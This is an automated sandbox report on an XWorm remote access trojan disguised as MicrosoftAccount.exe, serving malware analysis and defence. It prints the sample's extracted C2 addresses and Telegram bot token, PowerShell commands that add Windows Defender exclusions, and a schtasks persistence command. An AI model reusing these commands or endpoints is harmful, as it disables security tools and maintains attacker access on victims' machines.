xworm | 5ad2e8363c51cc2392e5ea5c34fd426d585c118a1010cd034ccca53cb9aea8b0

Analysis

max time kernel
297s
max time network
291s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/01/2025, 06:46 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

MicrosoftAccount.exe
Size

69KB
MD5

60efdd9e1cf39dd0a3a7fbdeb6a2d391
SHA1

29dbc62cedd344c115047fcec30f83e81c6d794c
SHA256

5ad2e8363c51cc2392e5ea5c34fd426d585c118a1010cd034ccca53cb9aea8b0
SHA512

c070114f7bbc384b5362111a70f1a910ecbf08b909d9e7b4222c904c221a107494e38840f5bc443faee8822281c5d46d65c7970003b7b625e7d1488ce6d58b84
SSDEEP

1536:fl/VpCz5Iqc+28akCkj42kbOOhW8DS6qfRtFAO5ZPYC:fldN8ak9kbbI8ot2O5ZPx

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:7703

147.185.221.25:7703

regarding-states.gl.at.ply.gg:7703

Attributes

Install_directory
%AppData%
install_file
ApplicationFrameHost.exe
telegram
https://api.telegram.org/bot6353034618:AAHzEkRGIc7NNoV5QuVXoAVVOMmU4ikzPYc/sendMessage?chat_id=1735841155

Signatures

Detect Xworm Payload 6 IoCs

resource	yara_rule
behavioral1/memory/2764-1-0x0000000000990000-0x00000000009A8000-memory.dmp	family_xworm
behavioral1/files/0x000c00000001227e-35.dat	family_xworm
behavioral1/memory/1736-37-0x0000000000150000-0x0000000000168000-memory.dmp	family_xworm
behavioral1/memory/2200-40-0x00000000008D0000-0x00000000008E8000-memory.dmp	family_xworm
behavioral1/memory/316-42-0x0000000001060000-0x0000000001078000-memory.dmp	family_xworm
behavioral1/memory/2840-44-0x0000000001390000-0x00000000013A8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2656	powershell.exe
1680	powershell.exe
1928	powershell.exe
1136	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ApplicationFrameHost.lnk	MicrosoftAccount.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ApplicationFrameHost.lnk	MicrosoftAccount.exe

Executes dropped EXE 5 IoCs

pid	Process
1736	ApplicationFrameHost.exe
2200	ApplicationFrameHost.exe
316	ApplicationFrameHost.exe
2840	ApplicationFrameHost.exe
2524	ApplicationFrameHost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\ApplicationFrameHost = "C:\\Users\\Admin\\AppData\\Roaming\\ApplicationFrameHost.exe"	MicrosoftAccount.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2656	powershell.exe
1680	powershell.exe
1928	powershell.exe
1136	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	MicrosoftAccount.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	2764	MicrosoftAccount.exe
Token: SeDebugPrivilege	1736	ApplicationFrameHost.exe
Token: SeDebugPrivilege	2200	ApplicationFrameHost.exe
Token: SeDebugPrivilege	316	ApplicationFrameHost.exe
Token: SeDebugPrivilege	2840	ApplicationFrameHost.exe
Token: SeDebugPrivilege	2524	ApplicationFrameHost.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2656	2764	MicrosoftAccount.exe	30
PID 2764 wrote to memory of 2656	2764	MicrosoftAccount.exe	30
PID 2764 wrote to memory of 2656	2764	MicrosoftAccount.exe	30
PID 2764 wrote to memory of 1680	2764	MicrosoftAccount.exe	32
PID 2764 wrote to memory of 1680	2764	MicrosoftAccount.exe	32
PID 2764 wrote to memory of 1680	2764	MicrosoftAccount.exe	32
PID 2764 wrote to memory of 1928	2764	MicrosoftAccount.exe	34
PID 2764 wrote to memory of 1928	2764	MicrosoftAccount.exe	34
PID 2764 wrote to memory of 1928	2764	MicrosoftAccount.exe	34
PID 2764 wrote to memory of 1136	2764	MicrosoftAccount.exe	36
PID 2764 wrote to memory of 1136	2764	MicrosoftAccount.exe	36
PID 2764 wrote to memory of 1136	2764	MicrosoftAccount.exe	36
PID 2764 wrote to memory of 1920	2764	MicrosoftAccount.exe	38
PID 2764 wrote to memory of 1920	2764	MicrosoftAccount.exe	38
PID 2764 wrote to memory of 1920	2764	MicrosoftAccount.exe	38
PID 3052 wrote to memory of 1736	3052	taskeng.exe	42
PID 3052 wrote to memory of 1736	3052	taskeng.exe	42
PID 3052 wrote to memory of 1736	3052	taskeng.exe	42
PID 3052 wrote to memory of 2200	3052	taskeng.exe	44
PID 3052 wrote to memory of 2200	3052	taskeng.exe	44
PID 3052 wrote to memory of 2200	3052	taskeng.exe	44
PID 3052 wrote to memory of 316	3052	taskeng.exe	45
PID 3052 wrote to memory of 316	3052	taskeng.exe	45
PID 3052 wrote to memory of 316	3052	taskeng.exe	45
PID 3052 wrote to memory of 2840	3052	taskeng.exe	46
PID 3052 wrote to memory of 2840	3052	taskeng.exe	46
PID 3052 wrote to memory of 2840	3052	taskeng.exe	46
PID 3052 wrote to memory of 2524	3052	taskeng.exe	47
PID 3052 wrote to memory of 2524	3052	taskeng.exe	47
PID 3052 wrote to memory of 2524	3052	taskeng.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MicrosoftAccount.exe
"C:\Users\Admin\AppData\Local\Temp\MicrosoftAccount.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftAccount.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MicrosoftAccount.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ApplicationFrameHost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1136
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ApplicationFrameHost" /tr "C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1920

C:\Windows\system32\taskeng.exe
taskeng.exe {DB69A6EE-46A9-4E2F-96D1-69FCC20E178F} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2524

Network

DNS

api.telegram.org

MicrosoftAccount.exe

Remote address:

8.8.8.8:53

Request

api.telegram.org

IN A

Response

api.telegram.org

IN A

149.154.167.220

149.154.167.220:443

api.telegram.org

tls

MicrosoftAccount.exe

388 B
219 B
5
5
147.185.221.25:7703

MicrosoftAccount.exe

4.1kB
2.8kB
56
56

8.8.8.8:53

api.telegram.org

dns

MicrosoftAccount.exe

62 B
78 B
1
1

DNS Request

api.telegram.org

DNS Response

149.154.167.220

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe

Filesize
69KB

MD5
60efdd9e1cf39dd0a3a7fbdeb6a2d391

SHA1
29dbc62cedd344c115047fcec30f83e81c6d794c

SHA256
5ad2e8363c51cc2392e5ea5c34fd426d585c118a1010cd034ccca53cb9aea8b0

SHA512
c070114f7bbc384b5362111a70f1a910ecbf08b909d9e7b4222c904c221a107494e38840f5bc443faee8822281c5d46d65c7970003b7b625e7d1488ce6d58b84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d0665370034095695fb7f3c6745fa4ec

SHA1
98fbd68a233a31620b9660f19b1358d2e3b1d9ad

SHA256
e62986ea8323bf705a2a62fdd8fc2d0ec7ddd9d4cc4311bbb4568c5f6a22a766

SHA512
daa01ee15907193bec071d435bcc2024dc8f22a08d2f3886f10f36c14bbd97dbb2a0054c737bcadf4999f6ce3acb140d5434b6e8d267e5934bee33b8ea8d2c19

Download Submit
memory/316-42-0x0000000001060000-0x0000000001078000-memory.dmp

Filesize
96KB

Download
memory/1680-14-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1680-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/1736-37-0x0000000000150000-0x0000000000168000-memory.dmp

Filesize
96KB

Download
memory/2200-40-0x00000000008D0000-0x00000000008E8000-memory.dmp

Filesize
96KB

Download
memory/2656-8-0x0000000001CE0000-0x0000000001CE8000-memory.dmp

Filesize
32KB

Download
memory/2656-6-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2656-7-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2764-31-0x000000001B0D0000-0x000000001B150000-memory.dmp

Filesize
512KB

Download
memory/2764-1-0x0000000000990000-0x00000000009A8000-memory.dmp

Filesize
96KB

Download
memory/2764-33-0x000000001B0D0000-0x000000001B150000-memory.dmp

Filesize
512KB

Download
memory/2764-32-0x000007FEF5FF3000-0x000007FEF5FF4000-memory.dmp

Filesize
4KB

Download
memory/2764-0-0x000007FEF5FF3000-0x000007FEF5FF4000-memory.dmp

Filesize
4KB

Download
memory/2840-44-0x0000000001390000-0x00000000013A8000-memory.dmp

Filesize
96KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.